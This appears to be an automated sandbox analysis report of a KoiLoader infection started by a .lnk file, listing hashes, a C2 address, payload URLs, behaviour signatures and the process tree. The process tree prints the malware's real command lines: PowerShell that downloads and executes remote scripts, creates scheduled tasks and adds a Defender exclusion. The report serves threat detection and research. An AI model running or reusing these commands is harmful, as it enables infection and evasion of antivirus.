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Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/12/2024, 11:14

General

  • Target

    22_11_2024_stmnt.lnk

  • Size

    3KB

  • MD5

    ef8150f41db3c25684ff13470182898f

  • SHA1

    6a10b98d8cd2fb0fa641d282ea30fc196638b8cd

  • SHA256

    e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b

  • SHA512

    d7937781c09595c1b0c4a058929579a7499b7e28c67ef48f3ab6704a4c3b2b80cea38a1452f275e0b1205ddbabeeceaadf3c3fcd84be8fb6270904859eeff6c3

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Family

koiloader

C2

http://195.123.217.43/oversate.php

Attributes
  • payload_url

    https://www.italialife24.it/wp-content/uploads/2021/05

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 2 IoCs
  • Blocklisted process makes network request 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\22_11_2024_stmnt.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -comman [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $s9iJkyOlgfNn3 = New-Object Net.WebClient; $cio = $s9iJkyOlgfNn3.DownloadData('https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php'); $s9iJkyOlgfNn3.DownloadFile('https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php', 'EB3Vk0QhrcN4wn.js'); schtasks /create /sc minute /mo 1 /f /tr ([System.Text.Encoding]::UTF8.GetString($cio) + $env:tmp + '\' + ('EB3Vk0QhrcN4wn.js ' * 2)) /tn HAoyOEGl0;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js EB3Vk0QhrcN4wn.js " /tn HAoyOEGl0
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1908
  • C:\Windows\system32\wscript.EXE
    C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js EB3Vk0QhrcN4wn.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\82TWC4RM7FWJ.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn EB3Vk0QhrcN4wn.js /f; wscript $env:programdata\82TWC4RM7FWJ.js "
      2⤵
      • Blocklisted process makes network request
      • Indicator Removal: Clear Persistence
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4144
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /tn EB3Vk0QhrcN4wn.js /f
        3⤵
          PID:4676
        • C:\Windows\system32\wscript.exe
          "C:\Windows\system32\wscript.exe" C:\ProgramData\82TWC4RM7FWJ.js
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zLC8EDURA8S'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4776
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2104
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3876
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3192
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3424
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4836
    • C:\Windows\system32\wscript.EXE
      C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js EB3Vk0QhrcN4wn.js
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\82TWC4RM7FWJ.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn EB3Vk0QhrcN4wn.js /f; wscript $env:programdata\82TWC4RM7FWJ.js "
        2⤵
        • Blocklisted process makes network request
        • Indicator Removal: Clear Persistence
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:400
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /delete /tn EB3Vk0QhrcN4wn.js /f
          3⤵
            PID:1484
          • C:\Windows\system32\wscript.exe
            "C:\Windows\system32\wscript.exe" C:\ProgramData\82TWC4RM7FWJ.js
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:3112
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zQNP3RE12OE'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4188
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe "C:\ProgramData\ra63d6fdc-08cb-4232-ab51-76cafdcb4d96r.js"
        1⤵
          PID:4612

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\82TWC4RM7FWJ.js

          Filesize

          1KB

          MD5

          ff72f9315b5bdfc7f1a9aabb6565450c

          SHA1

          ea12c1c21808bed3d8e8d8da431c2f44d6e76c5b

          SHA256

          bcc985d6dccfbb17bec2c0ee8251cc2a3bf454e81b99f5d9e6e3daa7c54906dd

          SHA512

          f87c2897d5833efa8e28742c32dda62e8aeca4eff160230a8424235d338eb8a74a942dda1dc0ac33777bf608b2e0a17035e7c2c82a8c35ee061115de8f124ed5

        • C:\ProgramData\82TWC4RM7FWJ.js

          Filesize

          1KB

          MD5

          37c3bfbf0b15c74a8988fdecf7d4e9fd

          SHA1

          0a51699bafb3515022018f2265950ac0ed108830

          SHA256

          58eaebe9f420fef9424e6e2aa7fb8fc967877e65e1d3989ddf689cbd91e26e29

          SHA512

          adf05bcff064d44094756a6c5c87eb985b58a52df6e722f19e1345cab8dff426c66278d94db84042915585f01b7d460990cd9cd23caf46ac12fec383aef5536f

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

          Filesize

          53KB

          MD5

          06ad34f9739c5159b4d92d702545bd49

          SHA1

          9152a0d4f153f3f40f7e606be75f81b582ee0c17

          SHA256

          474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

          SHA512

          c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          793B

          MD5

          8dbf9765856ef5b87ec2af8f812da256

          SHA1

          0d8ab7ddbb6cf24063a8d2f627b12b2eb9148af1

          SHA256

          9a79539cb17bc5af14528e61a0ae4a4965fe89eeab054786ddf035f5bc9878c5

          SHA512

          b988a480622756c2a0e69fcde343cda31def310cdd83ce7e43059717af60e02a5e440d7199d5b2bffaefc285fc76f11fc3c571cb1d50154e2412d0d005764d00

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          19KB

          MD5

          482e31f3cca1deeebb0465b823fca387

          SHA1

          c8a79bc2b3e7d4683e32b2219e6e657097489114

          SHA256

          09550cb22511edd50432941cb45cbe03697a3938fa3dddd9a68fb1987d2d4b67

          SHA512

          1bfe82bb78b6fb0982f2e4125527c69ccc03d6c6cbb526ae8a2963e5f220fe9392f7322ade390dc513148169319008d8e268e84557c814a96d066940b0c32676

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          477031a32089e6d066092d640b526add

          SHA1

          5041602c7c71b4c6e40928039dcc07b6b32a67f2

          SHA256

          0ec3dcb238a28e1b43e2f7b03f955f6304927314c40a51f1d4b2b00345c12bef

          SHA512

          01388ea1af8248901beb17d1fa62efead2ae1bf9accfc8e132f4f0c0e77c068fd7e998d218043fdc90c497824ca3723689502490da4fd97237a4f0d40ef2bb4e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          fc28168b916bf9744961653d503e1164

          SHA1

          71deadab13b81a414582f931e9af010152463644

          SHA256

          a2a78e9fb30fe365d454ca6bbbf950355049c978262fdf0e80cd683622cf00e9

          SHA512

          08d828e18ccb2892f12dcbbaf5a5ffcafb4e2e768536fc46b3d2fce788c52b2f61058e1ef0a47e648e2308f4f1aeb8799bef9472726d2800fa9b775f401e08c9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          0f6a3762a04bbb03336fb66a040afb97

          SHA1

          0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

          SHA256

          36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

          SHA512

          cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

        • C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js

          Filesize

          304B

          MD5

          b1b54dfa13d8ae43ddeaf5124e995370

          SHA1

          94275e37076b1b20fac96f871e8f177be745a823

          SHA256

          07cc2bca34dcbbdc4711e9ffca9731f9342e22bca4620cff60765a1a8747a523

          SHA512

          8928ebb41fe5afa3adff06235a919361528d901a04c9b5120f834f69eccec4cb16848330a95a4471d413d263045f2f557b2b13432eb553e0bb0635753ebe097b

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ocspvrn.bcb.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3876-104-0x0000000008280000-0x0000000008312000-memory.dmp

          Filesize

          584KB

        • memory/3876-100-0x0000000007920000-0x0000000007942000-memory.dmp

          Filesize

          136KB

        • memory/3876-103-0x0000000008190000-0x00000000081E0000-memory.dmp

          Filesize

          320KB

        • memory/3876-102-0x00000000080F0000-0x000000000810A000-memory.dmp

          Filesize

          104KB

        • memory/3876-101-0x00000000086A0000-0x0000000008C44000-memory.dmp

          Filesize

          5.6MB

        • memory/4060-18-0x00007FF8E41C0000-0x00007FF8E4C81000-memory.dmp

          Filesize

          10.8MB

        • memory/4060-14-0x00007FF8E41C0000-0x00007FF8E4C81000-memory.dmp

          Filesize

          10.8MB

        • memory/4060-13-0x00007FF8E41C0000-0x00007FF8E4C81000-memory.dmp

          Filesize

          10.8MB

        • memory/4060-12-0x000002B9FA6A0000-0x000002B9FA6C2000-memory.dmp

          Filesize

          136KB

        • memory/4060-2-0x00007FF8E41C3000-0x00007FF8E41C5000-memory.dmp

          Filesize

          8KB

        • memory/4188-135-0x0000000007EE0000-0x0000000007EED000-memory.dmp

          Filesize

          52KB

        • memory/4776-56-0x0000000007BD0000-0x0000000007BDD000-memory.dmp

          Filesize

          52KB

        • memory/4776-55-0x0000000007B30000-0x0000000007B31000-memory.dmp

          Filesize

          4KB

        • memory/4776-35-0x0000000003060000-0x0000000003096000-memory.dmp

          Filesize

          216KB

        • memory/4776-36-0x00000000057A0000-0x0000000005DC8000-memory.dmp

          Filesize

          6.2MB

        • memory/4776-37-0x0000000005670000-0x0000000005692000-memory.dmp

          Filesize

          136KB

        • memory/4776-38-0x0000000005E40000-0x0000000005EA6000-memory.dmp

          Filesize

          408KB

        • memory/4776-39-0x0000000005EB0000-0x0000000005F16000-memory.dmp

          Filesize

          408KB

        • memory/4776-49-0x0000000006010000-0x0000000006364000-memory.dmp

          Filesize

          3.3MB

        • memory/4776-51-0x0000000006640000-0x000000000665E000-memory.dmp

          Filesize

          120KB

        • memory/4776-52-0x0000000006680000-0x00000000066CC000-memory.dmp

          Filesize

          304KB

        • memory/4776-53-0x0000000006A20000-0x0000000006A3A000-memory.dmp

          Filesize

          104KB

        • memory/4776-54-0x0000000007CC0000-0x000000000833A000-memory.dmp

          Filesize

          6.5MB

        • memory/4836-84-0x0000000007BE0000-0x0000000007BF1000-memory.dmp

          Filesize

          68KB

        • memory/4836-69-0x0000000007870000-0x00000000078A2000-memory.dmp

          Filesize

          200KB

        • memory/4836-97-0x0000000007D00000-0x0000000007D08000-memory.dmp

          Filesize

          32KB

        • memory/4836-96-0x0000000007D20000-0x0000000007D3A000-memory.dmp

          Filesize

          104KB

        • memory/4836-95-0x0000000007C20000-0x0000000007C34000-memory.dmp

          Filesize

          80KB

        • memory/4836-94-0x0000000007C10000-0x0000000007C1E000-memory.dmp

          Filesize

          56KB

        • memory/4836-70-0x0000000070F00000-0x0000000070F4C000-memory.dmp

          Filesize

          304KB

        • memory/4836-83-0x0000000007C60000-0x0000000007CF6000-memory.dmp

          Filesize

          600KB

        • memory/4836-82-0x0000000007A60000-0x0000000007A6A000-memory.dmp

          Filesize

          40KB

        • memory/4836-81-0x00000000078B0000-0x0000000007953000-memory.dmp

          Filesize

          652KB

        • memory/4836-80-0x0000000006C20000-0x0000000006C3E000-memory.dmp

          Filesize

          120KB